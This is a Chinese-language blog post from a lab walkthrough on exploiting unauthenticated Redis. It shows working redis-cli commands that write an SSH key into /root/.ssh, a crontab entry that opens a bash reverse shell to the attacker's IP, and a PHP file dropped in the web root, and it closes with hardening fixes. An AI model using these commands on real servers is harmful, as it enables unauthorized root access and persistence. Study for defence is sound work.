前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Redis未授权访问漏洞总结

Redis未授权访问漏洞总结

作者头像
用户2700375
发布2022-06-09 14:37:12
1.3K0
发布2022-06-09 14:37:12
举报
文章被收录于专栏:很菜的web狗很菜的web狗

Redis未授权访问漏洞,包括很多姿势,之前一直有接触,但并没有认真总结过,最近有点闲。

并且在准备HW的东西 而未授权的Redis 在内网中很容易遇到,故写篇文章记录之。

images
images

Redis简介

Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

Redis因配置不当可以未授权访问。攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行操作。

Redis安装

这里拿两台机器做演示

虚拟机 Centos 10.211.55.23 作为目标机器

本机 Mac 10.211.55.2 作为攻击机。

安装Redis

代码语言:javascript
复制
wget http://download.redis.io/releases/redis-4.0.6.tar.gz

解压压缩包

代码语言:javascript
复制
tar -zxvf redis-4.0.6.tar.gz

yum安装gcc依赖

代码语言:javascript
复制
yum install gcc

编译

代码语言:javascript
复制
cd redis-4.0.6/src
make

编译成功

image-20220527160540944
image-20220527160540944

将redis的命令安装到/usr/bin/目录

代码语言:javascript
复制
sudo make install

运行

启动服务器

代码语言:javascript
复制
redis-server

新终断启动客户端测试下

代码语言:javascript
复制
redis-cli -h 127.0.0.1

默认开启保护模式,要关闭保护模式

修改redis的配置文件redis.conf

protected-mode 修改为no

image-20220530110610908
image-20220530110610908

将这一行注释掉,表示任何主机都可访问的意思,生产环境中最好是指定特定的主机进行访问。

image-20220527164834735
image-20220527164834735

重启服务器

代码语言:javascript
复制
redis-server redis.conf

SSH密钥登陆

本机Mac作为攻击机,链接一下虚拟机的 Redis数据库

直接可以连接,说明存在未授权访问漏洞

image-20220527205016031
image-20220527205016031

Linux服务器 我们一般采用密码方式登陆,但是每次输入密码会显得非常麻烦。SSH还有一个更便携的方法就是通过密钥方式登陆。

将公钥添加到服务器中,在客户端利用私钥即可完成认证并成功登陆服务器。

简单说下原理,大致意思就是用户将自己的公钥存储在远程主机(服务器)上,登陆时候远程主机会发送一段随机字符串,经过我们本地的私钥加密以后在发给服务器。最后服务器用存储的公钥进行解密,如果解密成功则直接登录,没有输入密码的过程。

首先,我们先看下服务器上有没有开启密钥登陆

代码语言:javascript
复制
vim /etc/ssh/sshd_config

默认是开启了密钥登陆的

image-20220530111039739
image-20220530111039739
image-20220530111126435
image-20220530111126435

这里默认是 yes 改为 no 就是禁用了密码登陆,这样妈妈再也不用担心我被爆破了。

在本机生成一对公私钥

代码语言:javascript
复制
ssh-keygen
代码语言:javascript
复制
#链接redis。
./redis-cli -h 10.211.55.23
#查看当前路径。
10.211.55.23:6379> config get dir
1) "dir"
2) "/home/parallels/redis-4.0.6"
#查看当前操作的文件。
10.211.55.23:6379> config get dbfilename
1) "dbfilename"
2) "dump.rdb"
#设置要操作的路径。
10.211.55.23:6379> config set dir /root/.ssh/
OK
#设置要操作的文件。
10.211.55.23:6379> config set dbfilename authorized_keys
OK

然后直接写入公钥。

image-20220529155214649
image-20220529155214649

save将公钥值保存到要操作的文件。

写入公钥以后,直接登录即可

代码语言:javascript
复制
ssh -i id_rsa root@10.211.55.23

反弹shell

利用定时任务crontab反弹shell

代码语言:javascript
复制
*/1 * * * * bash -i >& /dev/tcp/10.211.55.2/7878 0>&1
分别对应 分 时 日 月 周 命令

表示每1分钟执行一次反弹shell的命令

代码语言:javascript
复制
$ ./redis-cli -h 10.211.55.23
10.211.55.23:6379> set x "\n*/1 * * * * bash -i >& /dev/tcp/10.211.55.2/7878 0>&1\n"
OK
10.211.55.23:6379> config set dir /var/spool/cron/
OK
10.211.55.23:6379> config set dbfilename root
OK
10.211.55.23:6379> save
OK
image-20220604142413213
image-20220604142413213

nc监听一下

回到靶机crontab -l查看一下计划任务

image-20220604142647076
image-20220604142647076

写进来了。

这时候也成功反弹了。

image-20220604142529875
image-20220604142529875

写入webshell

原理都是一样的。

代码语言:javascript
复制
config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php phpinfo();?>"
save
image-20220604143525239
image-20220604143525239
image-20220604143634645
image-20220604143634645

漏洞修复

设置认证密码

编辑配置文件redis.conf 找到 #requirepass foobared 添加如下内容

代码语言:javascript
复制
requirepass zxcvbnm123.

保存即可。

本机验证一下看看

image-20220604145800194
image-20220604145800194

也可直接

代码语言:javascript
复制
./redis-cli -h 10.211.55.23 -a zxcvbnm123.

修改默认6379端口

编辑配置文件redis.conf

代码语言:javascript
复制
port 6379

改为其他端口

指定主机访问

编辑配置文件redis.conf

image-20220527164834735
image-20220527164834735

指定主机访问,前面也提到过,redis默认的配置就是这样的,只不过我们为了复现漏洞添加了注释。

开启保护模式

编辑配置文件redis.conf

代码语言:javascript
复制
protected-mode yes
本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2022-05-19,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Redis简介
  • Redis安装
  • 运行
  • SSH密钥登陆
  • 反弹shell
  • 写入webshell
  • 漏洞修复
    • 设置认证密码
      • 修改默认6379端口
        • 指定主机访问
          • 开启保护模式
          相关产品与服务
          云数据库 Redis
          腾讯云数据库 Redis(TencentDB for Redis)是腾讯云打造的兼容 Redis 协议的缓存和存储服务。丰富的数据结构能帮助您完成不同类型的业务场景开发。支持主从热备,提供自动容灾切换、数据备份、故障迁移、实例监控、在线扩容、数据回档等全套的数据库服务。
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档